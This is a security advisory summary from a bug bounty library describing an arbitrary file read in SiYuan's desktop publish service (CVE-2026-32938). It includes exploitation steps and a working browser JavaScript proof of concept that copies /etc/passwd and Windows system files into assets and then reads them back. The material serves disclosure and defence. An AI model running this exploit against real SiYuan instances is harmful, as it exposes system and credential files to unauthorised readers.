# SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service

SiYuan desktop's html2BlockDOM copies file:// linked local files into assets without sensitive-path checks, letting any authenticated publish visitor read them via GET /assets.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: TCOTC
- Disclosed: 2026-03-17
- CVE: CVE-2026-32938
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fq2j-j8hc-8vw8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fq2j-j8hc-8vw8
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:critical tech:go technique:chained vuln:access-control vuln:info-disclosure vuln:path-traversal

**Target:** SiYuan kernel publish service (html2BlockDOM API and /assets static handler)
**Root cause:** html2BlockDOM copies local absolute paths from file:// anchors into the assets directory without calling util.IsSensitivePath, and GET /assets/*path only enforces model.CheckAuth with no publish-scope restriction.
**Steps:**
1. Authenticate to the SiYuan publish service as a normal/read-only visitor.
2. POST to `/api/lute/html2BlockDOM` with body `{"dom":"<p><a href=\"file:///etc/passwd\">x</a></p>"}`.
3. Parse the returned DOM for `data-href="assets/..."` to get the copied asset path.
4. GET `/assets/<name>` with same-origin credentials to retrieve the file contents.
**How found:** Noticed html2BlockDOM copies file:// linked paths on desktop without the util.IsSensitivePath check used elsewhere, then observed GET /assets only requires CheckAuth, forming a copy-then-read chain.
**Exploitation:** Attacker with any authenticated publish access submits HTML containing file:// anchors to html2BlockDOM; the desktop kernel copies each readable local file into data/assets, and the attacker fetches them via GET /assets/*path, exfiltrating sensitive files like /etc/passwd or SSH keys.
**Escalation:** Chaining the unvalidated copy primitive with the loosely-scoped asset GET endpoint turns a benign HTML conversion API into full arbitrary file read.
**Insight:** When a feature copies user-referenced local paths into a web-served directory, check whether the serving endpoint enforces the same scope as the copying endpoint; a missing sensitive-path filter plus a broadly-authenticated static handler yields arbitrary file read.

## Proof of concept (copied exactly from the original report)

**Browser PoC copying sensitive files then reading assets**

```
(async () => {
  try {
    // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\windows\system32)
    const sensitiveFiles = [
      'file:///etc/passwd',
      'file:///etc/group',
      'file:///C:/Windows/System32/drivers/etc/hosts',
      'file:///C:/Windows/System32/drivers/etc/services',
    ];
    const dom = '<p>' + sensitiveFiles.map(f => `<a href="${f}">x</a>`).join(' ') + '</p>';
    const r1 = await fetch('/api/lute/html2BlockDOM', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ dom }),
      credentials: 'same-origin',
    });
    const { data } = await r1.json();
    const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]);
    for (const p of paths) {
      const r2 = await fetch('/' + p, { credentials: 'same-origin' });
      if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text()));
    }
  } catch (_) {}
})();
```

